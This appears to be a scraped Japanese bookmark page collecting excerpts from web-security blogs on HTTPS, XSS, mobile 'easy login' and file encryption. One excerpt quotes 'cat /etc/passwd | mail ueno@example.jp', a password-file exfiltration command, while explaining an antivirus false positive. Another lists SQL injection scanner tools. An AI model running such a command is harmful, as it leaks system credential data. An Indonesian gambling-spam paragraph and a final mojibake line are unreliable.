特別な理由がない限りは HTTPS でアクセス可能なページは、HTTP でのアクセスを提供しないことが望ましいこともないか - うさぎ文学日記
呼ばれていたのに2日ほど気がつきませんでした。こんばんは。 「特別な理由がない限り」って何？ 特別な理由って何？ 理由があればいいの？ 理由がないときはなぜ提供しちゃいけないの？ *2 https:// のはずのページが攻撃者によって http:// にすり替えられることを懸念してのつもりかもしれないが、そんなのは、サーバ側で http:// を止めたところで解決にならない。攻撃者は https:// へ中継するだけだし、中継しないでそのまま偽ページを返してもいい。結局のところ、利用者自身が、見ている画面が https:// になっていることを自力で確認しないかぎり、SSLは機能しない*3のであって、サーバで http:// が稼働しているか否かは関係ない。 高木浩光＠自宅の日記 - なぜ一流企業はhttpsでの閲覧をさせないようにするのか おっしゃる通りだと思いますが、わざわざサイト運営
このURLは存在しません。
■ なぜ一流企業はhttpsでの閲覧をさせないようにするのか 「かんたんログイン」などという似非認証方式は、たとえIPアドレス制限を実装したとしても安全でない。仕様が公開されていないからという点の他に、技術的な理由として、少なくとも次の2つがある。 「IPアドレス帯域」と俗称される重要情報が安全に配布されていない。 SSLを必要とするケータイサイトでは、通信経路上の攻撃によってなりすましログインされてしまう。*1 2番目には解決策がない。 1番目については解決策はあるだろうが、携帯電話事業者がサボタージュしていて、実現される見通しがない。これについては、2008年7月27日の日記にも書いたが、その後どうなったかを調べてみたところ、ソフトバンクモバイル以外は、何ら改善されておらず、当時のままだった。 NTTドコモ 「iモードセンタのIPアドレス帯域」のページをhttps:// でアクセスする
自分でできるWebアプリケーション脆弱性診断 - デブサミ2010
2. プロフィール上野 宣（うえの・せん）京都市生まれ、幼少期は実家がパソコンショップ、高専でロボコンに熱中し、豊橋技科大でインターネットにハマり、奈良先端科学技術大学院大学にて山口英教授の下で情報セキュリティを専攻EC開発ベンチャー企業で創業メンバー、東証マザーズ上場などを経験を経て、2006年6月に株式会社トライコーダを設立株式会社トライコーダ 代表取締役情報セキュリティ教育ネットワークシステム／Webアプリケーション脆弱性診断http://www.tricorder.jp/ 独立行政法人情報処理推進機構(IPA)セキュリティセンター研究員セキュリティ＆プログラミングキャンプ講師情報セキュリティ専門誌 ScanNetSecurity編集長Copyright©2010 Tricorder Co.Ltd. All rights reserved.2sen_u 3. 著書、連載など今夜わかる
ScanNetSecurity - 情報セキュリティ専門誌ScanNetSecurity編集長に上野宣が就任
株式会社ネットセキュリティ総合研究所は、同社が運営する情報セキュリティ専門誌ScanNetSecurityの編集長として2月1日、情報セキュリティに造詣の深い、上野 宣が新たに就任したことを発表した。同氏は今後、情報セキュリティ業務の経験と知識を活かし、編集総責任者として、国内のセキュリティ産業の発展と拡大に寄与するメディア運営を目指す。 今回の新編集長就任に関し、JPCERT/CC代表理事兼株式会社インターネットイニシアティブ特別研究員、歌代和正氏は「歴史あるセキュリティ情報誌の編集を上野宣氏が引き継ぐことになったのは喜ばしい限りです。専門家だけではなく、すべての利用者が必要とする情報を効果的に発信するために、今までの経験を活かしてください。」とのコメントを寄せている。 また、国立奈良先端科学技術大学院大学 情報科学研究科 教授 山口英氏は「このたびの編集長の就任おめでとうございます
誰がシステムのセキュリティを“大丈夫”にするのか
「セキュリティは大丈夫なようにしておいてよ」 開発を依頼するときに、こんな言葉を交わしていませんか。開発会社は開発のプロなんだから、セキュアなシステム構築のことも熟知しているし、任せておけば大丈夫……果たして、それで本当に大丈夫なのでしょうか。 開発会社はセキュリティなんかにかまっている余裕はない？ これまで、いくつかの開発会社やその現場を見てきましたが、その中にはセキュリティのことをあまり考えていない開発会社もありました。そういった会社は、セキュアなシステム構築への取り組みを会社として何もしていなかったり、セキュリティのことは設計者やプログラマの個人的なスキルに依存していることもしばしばです。 中には「セキュアにシステム構築なんかしている場合じゃない」と社長自らが述べている開発会社もありました。セキュリティにはコストがかかるし、特別なスキルが必要という先入観からなのか、セキュリティのこと
J-tokkyo
Permainan di situs sukaslot88 online seperti “Queen of Bounty” telah memikat banyak pemain dengan grafis yang menawan dan potensi hadiah jackpot yang menggiurkan. Salah satu daya tarik utama dari permainan ini adalah jackpot yang sering menjadi target bagi banyak pemain. Namun, untuk benar-benar meningkatkan peluang Anda meraih jackpot, penting untuk memahami bagaimana membaca pola permainan. Mesk
高木浩光＠自宅の日記 - Windows Mobileの「オーナー情報」設定に注意
■ Windows Mobileの「オーナー情報」設定に注意 RFID付き米国旅券の情報を遠隔地から収集する試み, スラッシュドット, 2009年2月7日 米国籍パスポート(所有者)が接近すると爆発する爆弾（略） とあるように、無線で近くの人のIDが読めてしまうことの危険性は、米国ではテロの現実性もあって、かねてより話題になっている。 ところで、一昨年、はじめてWindows Mobile機を買った際に気になったものの、小ネタだったので放置していた件があるのだが、やっぱり書いておく。 Windows Mobile搭載機器（スマートフォンなど）を買ったとき、最初にやることといえば、いろいろな設定を試してみることだろう。最初に目につくのは「オーナー情報」（図1）の設定。ここに名前と連絡先を書いておくと、電源を入れたときに表示されるようにできる。
『セキュアWEBアプリケーションを構築しよう』公開研修
WEBアプリケーションの脆弱性を狙った攻撃が年々増加傾向にあります。 脆弱性から顧客情報が漏洩してしまえば企業の信用は大きく失墜します。 そのためWEBサイトを運営している企業は，業種や事業規模にかかわらず 最優先事項としてセキュリティ対策をする必要があります。
Office2007ドキュメント中のテキスト文章がウイルスとして検出される - うさぎ文学日記
メールの添付ファイルで、脆弱性の話の資料を送ったんですが、 送り先の方がSymantec AntiVirus Corporate Editionを使っていて、 教育用の資料を何度を送ってもウイルス扱いになって、 ファイルが削除されてしまうということがありました。 Office2007のファイルはXMLファイルを単にZIPで圧縮したものだから、 文章中に以下の文字が入ってたのがダメだったみたい。 cat /etc/passwd | mail ueno@example.jp ウイルス名「Unix.Penguin」として検出されたようでした。 Unix.Penguin は、Unix 上で動作する単純かつ悪質なシェル スクリプト プログラムです。Norton AntiVirus の Unix.Penguin 検出技術は、システム パスワード データ ファイルを外部に送信しようとする Unix シェ
売り上げ重視か、それともセキュリティ重視か!? 「安全なウェブサイト運営入門」
売り上げ重視か、それともセキュリティ重視か!? 「安全なウェブサイト運営入門」：Security&Trust ウォッチ（53） 数々の名作セキュリティコンテンツを生み出してきた、情報処理推進機構（IPA）が放つ新たなタイトルは、ロールプレイング形式のゲーム「安全なウェブサイト運営入門」。本作の特徴はその現実感にある。同じような業務に携わったことがあるならば、ここでの出来事に「あるある！」と感じるのではないだろうか。 ある日、あなたは会社の新規事業であるネットショップの運営担当者に任命される。次々とわき起こる問題や攻撃を解決しながらネットショップを運営し、見事に売り上げを上げ続けることができるだろうか！？ ……と、ゲームの紹介風に取り上げてみましたが、IPAの「安全なウェブサイト運営入門」はれっきとした情報セキュリティの啓発や教育に使える正統派のコンテンツです。難しく覚えにくいセキュリティの
資料公開「なぜ、御社のWebサイトが攻撃されるのか。そして、守るためには何をすればよいのか。」 - うさぎ文学日記
第01回まっちゃ４４５勉強会で話した「なぜ、御社のWebサイトが攻撃されるのか。そして、守るためには何をすればよいのか。」の資料を公開しました。 「安全な車」ならみんな何となくわかるけど、「安全なWeb」ってみんなよくわからないよね。 という話から始めて、最近のWebをターゲットとした自動ツールによる無差別攻撃の現状や、被害に遭うWebサイトのほとんどはバグを抱えているからだということ、そして守るためには要件と設計が必要な理由などを説明しています。 ダウンロードはこちら（PDFファイル：868 KB） 第02回には竹迫さん、徳丸さんが登場！引き続き第2回、第3回も楽しみにしています。
フリーの SQLインジェクション スキャナー トップ15
Top 15 free SQL Injection Scanners - Security-Hacks.com あとで試す。トップ15だけど順位がよくわからない。上から1位？ SQLIer Sqlbftools SQL Injection Brute-forcer (.tar.gz) SQLBrute (.py) BobCat sqlmap: a blind SQL injection tool Absinthe :: Automated Blind SQL Injection SQL Injection Pentesting TooL SQID - SQL Injection digger Blind SQL Injection POC (.pl) SQL Power Injector FG-Injector Framework sqlninja: a SQL Server inject
うさぎ文学日記 - 御社のWebサイトにXSS (クロスサイトスクリプティング)の脆弱性があると何が問題なのか
技術に明るくない人でも、SQLインジェクションは、データベースをこねこねされるということで、すぐに「これはイケナイ！」と反応する人が多いように思います。しかし、XSSはどうも軽く見られている気がしています。XSS (クロスサイトスクリプティング)って名前がよくないのか？ XSSで検索すると原理や対策方法についての言及ばかりがヒットするので、被害に遭うユーザーや運営者側向けに簡単に書きます。どこかにもっと良い説明や補足があれば教えて頂ければ幸いです。XSS脆弱性を放置していた人が、対策を施すよう腰を上げていただければと思います。 ■ XSSって何ですか？ XSS (Cross Site Scripting)は、Webアプリケーションのバグによって起こる事象*1でセキュリティ上の問題があります。HTMLで表示する文字列の中に、悪意のあるJavaScriptやHTMLタグなどを混入させることがで
暗号化仮想ドライブで手軽にファイルを暗号化 − ＠IT - うさぎ文学日記
ノートパソコンやUSBメモリなんかを持ち歩く場合、それを紛失してしまったり、盗難に遭ってしまったりというリスクが考えられますよね。これに対する対策の一つとして、その中に入っている情報を暗号化して持ち歩こうというお話です。 暗号化って面倒なイメージがありますけど、暗号化仮想ドライブなら結構手軽に使いこなせるはずです。 ただし、この対策をしていても無くしちゃったりした場合、「暗号化されているから情報漏えいはしていないんだぜ！」とは言えないはず。情報の内容を知られたり、悪用されたりするという被害を防ぐことが目的です。 業務目的で使うことが多いネタかと思いますが、ご家庭でもアレな画像とか、メールとかを暗号化してしまっておくという使い方ができそうです。ｗ 暗号化仮想ドライブで手軽にファイルを暗号化 − ＠IT
暗号化仮想ドライブで手軽にファイルを暗号化 ― ＠IT
重要な情報の入ったノートPCや、USBメモリなど、持ち運びが簡単なものは紛失や盗難の可能性も高い。万が一、誰かの手に渡ってしまったときを想定し、その情報を利用されてしまうことを防ぐ効果的な手段がある。それは、情報を暗号化して保存しておくことだ。 ファイルなどを暗号化するには、いくつかの方法や、それを実現するソフトウェアがある。ここでは、重要な情報の保存や、持ち運びの際に便利な「暗号化仮想ドライブ」について紹介する。 暗号化仮想ドライブを使おう 「仮想ドライブ」は、物理的なディスクドライブに対して、ソフトウェアで実現した仮想的なディスクドライブという意味である。CD-ROMのISOイメージなどをマウントして、あたかも実際にドライブがあるかのように利用することができるものだ。暗号化仮想ドライブは、その名が表すとおり、暗号化された仮想ドライブである。 暗号化仮想ドライブは、以下の特徴を備えている
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
縺ｪ縺懊∝ｾ｡遉ｾ縺ｮWeb繧ｵ繧､繝医′謾ｻ謦・＆繧後ｋ縺ｮ縺九・縺昴＠縺ｦ縲∝ｮ医ｋ縺溘ａ縺ｫ縺ｯ菴輔ｒ縺吶ｌ縺ｰ繧医＞縺ｮ縺九